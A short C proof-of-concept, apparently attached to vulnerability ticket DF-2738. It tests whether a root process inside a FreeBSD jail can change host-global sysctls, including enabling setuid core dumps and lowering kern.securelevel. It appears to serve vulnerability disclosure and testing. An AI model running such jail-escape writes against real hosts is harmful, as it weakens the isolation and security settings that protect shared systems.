DF-2738 / jailwrite.c
/* * DF-2738 PoC: jailed uid-0 writes host-global sysctls. * Build: cc -static -o /tmp/jt/jailwrite jailwrite.c * Run (as real root, creates the jail then execs us inside): * jail /tmp/jt jtest 127.0.0.1 /jailwrite * Expected if the confinement gap is real: writes to host-global * kern.sugid_coredump / kern.maxfiles / debug.sysctl succeed (ret 0) * from *inside* the jail; host observes the mutation. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> static int wr_int(const char *name, int *v) { return sysctlbyname(name, NULL, NULL, v, sizeof(*v)); } int main(void) { int v, r; size_t l; printf("jailwrite: uid=%d euid=%d\n", getuid(), geteuid()); /* 1. read a host-global knob (known jail read visibility) */ l = sizeof(v); r = sysctlbyname("kern.sugid_coredump", &v, &l, NULL, 0); printf("read kern.sugid_coredump -> r=%d v=%d\n", r, v); /* 2. WRITE host-global kern.sugid_coredump = 1 */ v = 1; r = wr_int("kern.sugid_coredump", &v); printf("write kern.sugid_coredump=1 -> r=%d %s\n", r, r ? "DENIED" : "WROTE-HOST-GLOBAL"); /* 3. WRITE host-global kern.maxfiles (same value, harmless) */ l = sizeof(v); sysctlbyname("kern.maxfiles", &v, &l, NULL, 0); r = wr_int("kern.maxfiles", &v); printf("write kern.maxfiles=%d -> r=%d %s\n", v, r, r ? "DENIED" : "WROTE-HOST-GLOBAL"); /* 4. WRITE debug.sysctl (host-global debug knob) */ v = 0; r = wr_int("debug.sysctl", &v); printf("write debug.sysctl=0 -> r=%d %s\n", r, r ? "DENIED" : "WROTE-HOST-GLOBAL"); /* 5. control: write to a NON-flagged secure node (securelevel<0 ok, * but CTLFLAG_SECURE && securelevel>0 check applies) - expect ok * at securelevel -1; shows reachability of even SECURE-flagged * nodes from a jail when host securelevel is 0/-1. */ v = -1; r = wr_int("kern.securelevel", &v); printf("write kern.securelevel=-1 -> r=%d %s\n", r, r ? "DENIED" : "WROTE-HOST-GLOBAL"); printf("JAILWRITE-DONE\n"); return 0; } |